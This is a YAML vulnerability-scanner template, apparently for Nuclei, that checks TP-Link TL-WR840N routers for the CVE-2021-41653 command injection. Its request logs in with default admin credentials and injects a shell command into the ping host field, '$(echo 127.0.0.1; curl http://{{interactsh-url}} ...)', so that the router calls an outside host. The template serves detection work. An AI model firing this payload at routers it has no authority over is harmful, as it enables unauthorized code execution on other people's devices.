68 lines
2.4 KiB
YAML
68 lines
2.4 KiB
YAML
id: CVE-2021-41653
|
|
|
|
info:
|
|
name: TP-Link - OS Command Injection
|
|
author: gy741
|
|
severity: critical
|
|
description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
|
|
remediation: Upgrade the firmware to at least version "TL-WR840N(EU)_V5_211109".
|
|
reference:
|
|
- https://k4m1ll0.com/cve-2021-41653.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-41653
|
|
- https://www.tp-link.com/us/press/security-advisory/
|
|
- http://tp-link.com
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-41653
|
|
cwe-id: CWE-94
|
|
epss-score: 0.95374
|
|
epss-percentile: 0.99205
|
|
cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: tp-link
|
|
product: tl-wr840n_firmware
|
|
tags: cve2021,cve,tplink,rce,router,tp-link
|
|
variables:
|
|
useragent: '{{rand_base(6)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi?2 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: text/plain
|
|
Referer: http://{{Hostname}}/mainFrame.htm
|
|
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
|
|
|
|
[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
|
|
dataBlockSize=64
|
|
timeout=1
|
|
numberOfRepetitions=4
|
|
host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')
|
|
X_TP_ConnName=ewan_ipoe_d
|
|
diagnosticsState=Requested
|
|
- |
|
|
POST /cgi?7 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: text/plain
|
|
Referer: http://{{Hostname}}/mainFrame.htm
|
|
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
|
|
|
|
[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: {{useragent}}"
|
|
# digest: 490a0046304402205742c2ebff8ce0fc7af74094966181c7ef1dae9ce633a2718335e5010e079d260220194ec4c580b0a470064374d97a3536dc10a47ccc4a195160d4e982e4276ac063:922c64590222798bb761d5b6d8e72950 |